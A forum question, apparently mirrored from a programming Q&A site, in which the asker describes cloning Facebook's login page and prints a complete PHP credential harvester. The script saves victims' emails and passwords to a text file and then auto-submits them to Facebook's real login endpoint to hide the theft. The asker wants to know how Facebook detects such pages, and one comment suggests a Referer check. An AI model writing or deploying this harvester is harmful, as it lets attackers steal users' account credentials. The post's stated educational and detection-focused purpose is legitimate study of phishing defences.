【发布时间】:2014-12-27 20:59:57
【问题描述】:
我正在做一个关于计算机安全的小任务,我目前正在研究网络钓鱼。
因此,出于教育目的,我编写了一个简单的“网络钓鱼网页”,并试图了解 Facebook 如何检测网络钓鱼欺诈网页。
我的index.html 是facebook 主页,而我编辑它是为了将用户重定向到phishing.php 页面。
phishing.php:
<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>
<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
foreach ($_POST as $a => $b) {
echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
}
?>
</form>
<script language="JavaScript">
document.frm.submit();
</script>
我的问题来了。一切正常,除了用户(我)输入的是用户名和密码,Facebook 说:
安全声明:为了您的安全,切勿输入您的 Facebook 密码 在不在 Facebook.com 上的网站上
那么 Facebook 使用哪种机制来检测此类网络钓鱼页面?
谢谢!
【问题讨论】:
-
它可能会检查您的推荐人,看看它是否真的来自 facebook..
标签: php facebook http phishing